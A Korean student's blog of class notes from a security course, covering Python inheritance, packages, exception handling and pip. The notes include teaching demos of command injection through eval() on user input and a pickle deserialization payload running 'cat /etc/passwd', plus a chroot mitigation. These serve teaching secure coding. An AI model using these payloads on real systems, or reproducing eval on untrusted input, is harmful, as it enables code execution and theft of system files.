[SK shieldus Rookies 19기] 2.3. 파이썬(4) 패키지, 예외처리, 외부라이브러리 pip

WoongchiSec·2024년 3월 6일

SK shieldus Rookies

목록 보기
5/23

아이스브레이킹

어제 수업 끝나고 잠깐 스터디 얘기가 나왔었다. 나와 비슷한 비전공자이시고, 둘다 정보처리기사 실기 준비중이었다.
그래서 이 시간에 스터디에 대해 조금 더 상의하고 파이썬 스터디 그룹 만들기로 했다.

1교시

상속

  • 자식클래스 : 부모 클래스의 변수-함수(매서드) 사용 가능
import time

class Clock:
    def __init__(self) -> None:
        self.hour = 0
        self.miniute = 0
        self.second = 0

    def print(self):
        print(f"{self.hour}:{self.miniute}:{self.second}")

    def add_one_hour(self):
        self.hour += 1
        if self.hour >= 24:
            self.hour = 0

    def add_one_minute(self):
        self.miniute += 1
        if self.miniute >= 60:
            self.miniute = 0
            self.add_one_hour()

    def add_one_second(self):
        self.second += 1
        if self.second >= 60:
            self.second = 0
            self.add_one_minute()

class MinuteClock(Clock):   # class 자식클래스이름(부모클래스이름)
    pass


c = MinuteClock()

while True:
    c.add_one_minute()      # 부모 클래스의 메소드가 실행
    c.print()               # ==> 자식 클래스는 부모 클래스의 변수와 함수(메서드)를 그대로 사용하는 것이 가능

    time.sleep(1)
  • 매서드 오버라이딩 (부모랑 자식 둘다 가지고 있으면 재정의된 자식클래스의 매서드가 호출)
import time

class Clock:
    def __init__(self) -> None:
        self.hour = 0
        self.miniute = 0
        self.second = 0

    def print(self):
        print(f"{self.hour}:{self.miniute}:{self.second}")

    def add_one_hour(self):
        self.hour += 1
        if self.hour >= 24:
            self.hour = 0

    def add_one_minute(self):
        self.miniute += 1
        if self.miniute >= 60:
            self.miniute = 0
            self.add_one_hour()

    def add_one_second(self):
        self.second += 1
        if self.second >= 60:
            self.second = 0
            self.add_one_minute()

class MinuteClock(Clock):   # class 자식클래스이름(부모클래스이름)
    def print(self):        # 메서드 오버라이딩(overriding)
                            # 부모 클래스의 메서드를 자식 클래스에서 재정의
        print(f"{self.hour}시 {self.miniute}분")


c = MinuteClock()

while True:
    c.add_one_minute()
    c.print()               # 자식 클래스의 메서드가 호출

    time.sleep(1)

5-3 패키지

  • 파이썬 모듈 -> 계층적(디렉터리 구조) 관리
    • 파이썬 패키지 : 디렉터리 + 파이썬 모듈
    • 파이썬 모듈 -> 서브 디렉터리 -> 디렉터리 : 패키지

패키지 만들기

# 명령프롬프트에서 디렉터리 만들기
C:\python> mkdir c:\python\game\sound
C:\python> mkdir c:\python\game\graphic
C:\python> mkdir c:\python\game\play

#빈 파일 만들기
C:\python> echo '' > c:\python\game\__init__.py
C:\python> echo '' > c:\python\game\sound\__init__.py
C:\python> echo '' > c:\python\game\sound\echo.py
C:\python> echo '' > c:\python\game\graphic\__init__.py
C:\python> echo '' > c:\python\game\graphic\render.py

# 디렉터리 구조와 파일 확인 
C:\python> tree .\game /F	
폴더 PATH의 목록입니다.
볼륨 일련 번호가 00000016 9027:83B9입니다.
C:\PYTHON\GAME
│  __init__.py
│
├─graphic
│      render.py
│      __init__.py
│
├─play
└─sound
        echo.py
        __init__.py

c:\python\game\sound\echo.py

def echo_test():
    print("echo")

c:\python\game\graphic\render.py

def render_test():
    print("render")

init.py 파일에 내용을 모두 삭제 (모두 3개)

  • c:\python\main.py
# echo 모듈에 echo_test() 함수를 실행(호출)
import game.sound.echo


game.sound.echo.echo_test()
  • 모듈, 패키지 만드는 이유
    • 공동작업 or 유지보수(해당 부분만 고치면 되니까) 등 여러 면에서 유리
    • 패키지 구조로 모듈 -> 다른 모듈과 이름 겹쳐도 안전히
# echo 모듈에 echo_test() 함수를 실행(호출)
from game.sound.echo import echo_test


echo_test()
# echo 모듈에 echo_test() 함수를 실행(호출)
from game.sound import echo


echo.echo_test()
# echo 모듈에 echo_test() 함수를 실행(호출)
from game.sound import echo


echo.echo_test()

init.py

  • c:\python\game__init__.py
# 해당 디렉터리가 패키지의 일부임을 알려주는 역할


# 유즈케이스(사용예)
# 패키지와 관련한 설정이나 초기화 코드를 포함할 수 있음
VERSION = 3.5


def print_version_info():
    print(f"Game Version: {VERSION}")
  • c:\python\main.py
import game


# game 패키지의 __init__.py 파일에 정의된 변수와 함수를 참조
print(game.VERSION)            
game.print_version_info()
  • c:\python\game__init__.py
# 해당 디렉터리가 패키지의 일부임을 알려주는 역할


# 유즈케이스(사용예)
# 패키지와 관련한 설정이나 초기화 코드를 포함할 수 있음
VERSION = 3.5


def print_version_info():
    print(f"Game Version: {VERSION}")




# 패키지 내의 모듈을 미리 임포트
from .graphic.render import render_test    
  • c:\python\main.py
import game


# game 패키지의 __init__.py 파일에 정의된 변수와 함수를 참조
print(game.VERSION)            
game.print_version_info()


# from game.graphic import render
# render.render_test()
game.render_test()
  • c:\python\game__init__.py
# 해당 디렉터리가 패키지의 일부임을 알려주는 역할


# 유즈케이스(사용예)
# 1 패키지와 관련한 설정이나 초기화 코드를 포함할 수 있음
VERSION = 3.5


def print_version_info():
    print(f"Game Version: {VERSION}")




# 2 패키지 내의 모듈을 미리 임포트
from .graphic.render import render_test    




# 3 패키지 초기화 ⇒ 패키지가 처음 호출될때 실행되어야 하는 코드를 작성 (예: 데이터베이스 연결 또는 설정 등)
print("game 패키지 초기화 ...")
  • c:\python\main.py
import game


print(r'c:/python/main.py')
from game.graphic.render import render_test


print(r'c:/python/main.py')

5-4 예외처리

오류

  • 프로그램 죽는다

    • OS, 비정상적 종료 등
  • 예외처리 : 프로그램 비정상적 종료 막기 위한 활동

    • 프로그램 종료를 개발자가 통제

오류 발생 시기

  • 존재하지 않는 파일

  • 오타 구문 오류

  • 실행 시점에 결정되는 오류

  • 문법 기반 오류 : syntax 오류

    • max = 10
      • 키워드를 변수로
    • for i on numbers :
      • on 은 모르겠다
    • 들여쓰기
    • 일반적으로 visual studio 같은 도구, 대화형 인터프리터 등 바로바로 잡아줌 -> 크게 문제되지 않음
  • 실행 시점 값 or 상태 의해 발생 오류 : run time 오류

    • no = 100 / int(input())
      • 사용자 0 입력 -> division 오류
  • 인덱스 오류

    • a = [1, 2, 3] -> a[3] : 없는 것

=> 어떻게 해야 하냐

  • 방어 코드 (검증) -> 사전

  • 예외 처리 -> 사후 대응

예외 처리 기법

try-except 문

  • c:\python\test.py
no = int(input("숫자를 입력하세요."))


result = 100 / no
print(f"100 나누기 {no}의 결과는 {result} 입니다.")
  • 결과

숫자를 입력하세요.0
Traceback (most recent call last):
File "C:\python\test.py", line 3, in
result = 100 / no

         ~~~~^~~~

ZeroDivisionError: division by zero ⇐ 사용자가 0을 입력하면 오류가 발생

  • 오류로 인한 비정상 종료를 막는 방법
    1. 오류가 발생하지 않도록 입력값을 검증 후 사용 ⇒ Secure Coding 기법
no = int(input("숫자를 입력하세요."))


if no == 0:
    print("0은 입력할 수 없습니다.")
else:
    result = 100 / no
    print(f"100 나누기 {no}의 결과는 {result} 입니다.")
  • 결과

숫자를 입력하세요.0
0은 입력할 수 없습니다.

  1. 오류가 발생했을 때 적절한 조치를 수행하는 코드를 추가 ⇒ 예외 처리
no = int(input("숫자를 입력하세요."))


try:
    result = 100 / no
    print(f"100 나누기 {no}의 결과는 {result} 입니다.")
except ZeroDivisionError:
    print("0을 입력했기 때문에 프로그램을 종료합니다.")
  • 예외 처리 이유 추가하고 싶을 때
no = int(input("숫자를 입력하세요."))


try:
    result = 100 / no
    print(f"100 나누기 {no}의 결과는 {result} 입니다.")
except ZeroDivisionError as e:
    print(f"프로그램을 종료합니다. (원인: {e})")
  • 결과

숫자를 입력하세요.0
프로그램을 종료합니다. (원인: division by zero)

  • 가장 좋은 건 오류가 발생하지 않도록
    • 만약 그게 안된다면 예외 처리
  • 중요한 건, 내가 했던 연결 작업이 있는데, 끊지 않고 죽는 경우가 있음.
    • 네트워크 연결, 파일 closed 하지 않고
    • 시스템 자원에 대해 해제 안하고 죽으면 -> 해당 자원 다른쪽에서 쓰려고 할 때 문제
    • 자원 해제 코드 넣어줘야함 (finally 구문)

3교시

  • 오류를 의도적으로 발생하도록 하는 코드 ⇒ 자식 클래스에서 메서드를 재정의하도록 강제
class Bird:
    def fly(self):
        raise NotImplemented
   
class Eagle(Bird):
    pass


e = Eagle()
e.fly()			⇐ 부모 클래스(Bird)의 fly() 메서드가 실행되므로 NotImplemented 오류가 발생
  • 자식 클래스(Eagle)에 fly() 메서드를 재정의(override)
class Bird:
    def fly(self):
        raise NotImplemented
   
class Eagle(Bird):
    def fly(self):
        print("very fast")


e = Eagle()
e.fly()
  • 사용자 정의 예외
class MyInputError(Exception):			⇐ 사용자 정의 예외는 Exception 클래스를 상속 받아 정의
    def __init__(self, no) -> None:		⇐ 예외 발생 시 전달받아야 하는 값이 있는 경우 생성자를 활용
        self.no = no					


    def __str__(self) -> str:			⇐ 예외 발생 시 반환할 문자열(메시지)
        return f"{self.no}는 잘못된 입력입니다."
  
try:
    no = int(input("숫자를 입력하세요."))
    if no == 0:
        raise MyInputError(no)
   
    print(f"10 / {no} = {10 / no}")


except MyInputError as e:
    print(e)  
  • 내장 함수 divmod와 동일한 기능을 수행하는 사용자 정의 함수를 정의
def div_mod(a, b):          # 내장 함수 divmod와 동일한 기능을 구현
    return a // b, a % b


print(div_mod(10, 3))       # 사용자 정의 함수를 호출


print(divmod(10, 3))        # 내장 함수를 호출
  • eval
cmd = input("계산할 수식을 입력해 주세요 (예: 2 + 3) ")


print(f"{cmd} = {eval(cmd)}")
  • 개발자가 의도한 형태의 입력
계산할 수식을 입력해 주세요 (예: 2 + 3) 3 + 5 * 8 - 10
3 + 5 * 8 - 10 = 33
  • 개발자가 의도하지 않은 형태의 입력
계산할 수식을 입력해 주세요 (예: 2 + 3) __import__('os').system('dir ')   
 C 드라이브의 볼륨에는 이름이 없습니다.				⇐ 호스트에서 dir 명령어의 실행 결과가 출력
볼륨 일련 번호: 9027-83B9

 C:\python 디렉터리

2024-03-06  오전 11:16    <DIR>          .
2024-03-06  오전 11:16    <DIR>          ..
2024-03-05  오후 02:37    <DIR>          .vscode
2024-03-05  오후 05:06               737 calculator.py
2024-03-06  오전 10:06             1,055 click.py
2024-03-05  오후 03:52               757 counter.py
2024-03-06  오전 08:35                42 data
2024-03-06  오전 10:38    <DIR>          game
2024-03-05  오후 03:28             1,476 hangman.py
2024-03-06  오전 11:02                74 main.py
2024-03-05  오후 03:25               107 mod1.py
2024-03-05  오전 09:36               234 new_file.txt
2024-03-05  오후 03:47             1,324 score.py
2024-03-05  오전 10:24                60 score_data.txt
2024-03-06  오후 02:30               101 test.py
2024-03-06  오전 10:26                 5 test.txt
2024-03-05  오후 03:50    <DIR>          __pycache__
              12개 파일               5,972 바이트
               5개 디렉터리  177,886,593,024 바이트 남음
__import__('os').system('dir ') = 0


계산할 수식을 입력해 주세요 (예: 2 + 3) __import__('os').system('type test.py')
cmd = input("怨꾩궛???섏떇???낅젰??二쇱꽭??(?? 2 + 3) ")			⇐ test.py 파일의 내용이 출력

print(f"{cmd} = {eval(cmd)}")__import__('os').system('type test.py') = 0
  • isinstance
class Plants:
    pass


class Bird:
    pass


class Eagle(Bird):
    pass


e = Eagle()
print(isinstance(e, Eagle))
print(isinstance(e, Bird))		⇐ 부모 클래스인 경우에도 True를 반환


print(isinstance(e, Plants))

직렬화

  • MyExeCode 클래스의 인스턴스를 직렬화한 결과를 data 파일에 저장
import os
import pickle


class MyExeCode(object):
    def __reduce__(self):
        return (os.system, ('dir c:\\', ))


def serialize():
    code = pickle.dumps(MyExeCode())
    return code


if __name__ == '__main__':
    code = serialize()
    with open('data', 'wb') as f:
        f.write(code)
  • 실행 결과 data 파일(이진파일)이 생성
  • data 파일을 읽어서 역직렬화를 수행하는 코드를 작성
import pickle


def deserialize(code):
    pickle.loads(code)


if __name__ == '__main__':
    with open('data', 'rb') as f:
        deserialize(f.read())
  • data 파일에 들어있던 dir c:\ 결과가 출력되는 것을 확인 ⇐ 의도하지 않은 동작이 제공
  • 직렬화한 데이터를 바로 역직렬화 하도록 코드를 통합 (테스트를 위해서)
import os
import pickle


class MyExeCode(object):
    def __reduce__(self):
        return (os.system, ('dir c:\\', ))


def serialize():
    code = pickle.dumps(MyExeCode())
    return code


def deserialize(code):
    pickle.loads(code)


if __name__ == '__main__':
    code = serialize()					⇐ 직렬화 결과를 파일로 저장
    with open('data', 'wb') as f:			
        f.write(code)


    with open('data', 'rb') as f:			⇐ 파일을 읽어서 역직렬화
        deserialize(f.read())
  • 위 코드를 리눅스 실행가능하게?
import os
import pickle


class MyExeCode(object):
    def __reduce__(self):
        return (os.system, ('cat /etc/passwd', ))	⇐ 해당 시스템의 계정 정보를 담고 있는 파일


def serialize():
    code = pickle.dumps(MyExeCode())
    return code


def deserialize(code):
    pickle.loads(code)


if __name__ == '__main__':
    code = serialize()					⇐ 직렬화 결과를 파일로 저장
    with open('data', 'wb') as f:			
        f.write(code)


    with open('data', 'rb') as f:			⇐ 파일을 읽어서 역직렬화
        deserialize(f.read())
  • 테스트를 위해 리눅스 가상머신을 하나 생성
    https://labs.play-with-docker.com/ 가입 후 로그인
  • 안전한 역직렬화 코드로 변경 ⇒ 역직렬화한 코드가 실행되는 범위를 제한하는 코드를 추가
import os
import pickle
from contextlib import contextmanager

class MyExeCode(object):
    def __reduce__(self):
        return (os.system, ('cat /etc/passwd', ))		⇐ cat /safe_root/etc/passwd 형태로 명령어가 실행

def serialize():
    code = pickle.dumps(MyExeCode())
    return code

def deserialize(code):
    with system_jail():
        pickle.loads(code)

@contextmanager
def system_jail():
    os.chroot('/safe_root')					⇐ 시스템의 루트 디렉터리를 변경
    yield
    os.chroot('/')						⇐ 원래 시스템 루트 디렉터리로 재설정

if __name__ == '__main__':
    code = serialize()
    with open('data', 'wb') as f:
        f.write(code)

    with open('data', 'rb') as f:
        deserialize(f.read())
  • 인코딩 vs 암호화 vs 캡슐화
  • 히로시 유키 : 알기 쉬운 정보보호 개론
  • 사이먼 싱 - the cood book(비밀의 역사)

5-7 외부 라이브러리

  • 내장 라이브러리 : 파이썬 설치 -> 자동 설치
  • 외부 ㅣㅣ -> 따로 설치
    • 관리 어려움, 충돌 일어날수도 -> 관리 도구 -> 모듈, 패키지 매니저

pip

  • pip installs packages
    • 재귀적 (설명에 그 이름)
  • node package manager
  • Faker
  PS C:\python> pip install Faker
Collecting Faker
  Downloading Faker-24.0.0-py3-none-any.whl.metadata (15 kB)
Collecting python-dateutil>=2.4 (from Faker)
  Downloading python_dateutil-2.9.0.post0-py2.py3-none-any.whl.metadata (8.4 kB)
Collecting six>=1.5 (from python-dateutil>=2.4->Faker)
  Downloading six-1.16.0-py2.py3-none-any.whl.metadata (1.8 kB)
Downloading Faker-24.0.0-py3-none-any.whl (1.8 MB)
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.8/1.8 MB 12.5 MB/s eta 0:00:00
Downloading python_dateutil-2.9.0.post0-py2.py3-none-any.whl (229 kB)
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 229.9/229.9 kB 7.1 MB/s eta 0:00:00
Downloading six-1.16.0-py2.py3-none-any.whl (11 kB)
Installing collected packages: six, python-dateutil, Faker
Successfully installed Faker-24.0.0 python-dateutil-2.9.0.post0 six-1.16.0
  • 사용
  from faker import Faker


faker = Faker()


for i in range(10):
    print(faker.name())
  • 로케일 설정 ⇒ 한국 가짜 데이터가 필요한 경우
  from faker import Faker


faker = Faker('ko-KR')      # 로케일을 한국으로 설정


for i in range(10):
    print(faker.name())
  • 테이트 용도의 이름, 주소, 이메일을 생성
   from faker import Faker


faker = Faker('ko-KR')      # 로케일을 한국으로 설정


for i in range(10):
    print(faker.name(), faker.address(), faker.email())
  • MySQL / MySQL Workbench 설치
    링크
create schema sampledb default character set utf8;

use sampledb;

create table members (
    member_id 		int(11) 	not null auto_increment 	comment '회원 아이디', 
    member_name	varchar(100)	not null 		   	comment	'회원 이름', 
    member_age		int(3)						comment '회원 나이', 
    member_email	varchar(100)					comment '회원 이메일', 
  • SQL 연습

  • pymysql 라이브러리 설치

    #터미널
    PS C:\python> pip install pymysql
    Collecting pymysql
    Downloading PyMySQL-1.1.0-py3-none-any.whl.metadata (4.4 kB)
    Downloading PyMySQL-1.1.0-py3-none-any.whl (44 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 44.8/44.8 kB 1.1 MB/s eta 0:00:00
    Installing collected packages: pymysql
    Successfully installed pymysql-1.1.0
    
  • 테스트 데이터 추가

  use sampledb;

insert into members (member_name, member_age, member_email)
values ('홍길동', 23, 'hong@test.com');
  • 데이터 조회 코드 작성
import pymysql




# 데이터베이스에 연결을 생성
try:
    with pymysql.connect(host="localhost", port=3306, user="springboot", passwd="p@ssw0rd", db="sampledb") as conn:
        # 조회 쿼리를 작성
        query = "select member_id, member_name, member_age, member_email from members"


        # 커서를 생성해서 조회 쿼리를 실행
        with conn.cursor() as curr:
            curr.execute(query)


            # 조회 결과를 출력 
            for c in curr:
                print(c)


except pymysql.MySQLError as e:
    print(e)     

Today is

온라인 수업 + 어려운 내용 + 노베이스
쉽지 않다 ㅎㅋ
생각은 했지만 생각보다 더.

그래도 생활 루틴은 안정화되는 것 같아서 괜찮아 질 것 같다.
아침에 잘 일어나고 있구 ㅋㅋ
최우선 목표는 지각 없이 과정 자체 완주하기!

나머지는
하루하루 조금씩 배워나가자!

profile
It's log on my way to whitehack

0개의 댓글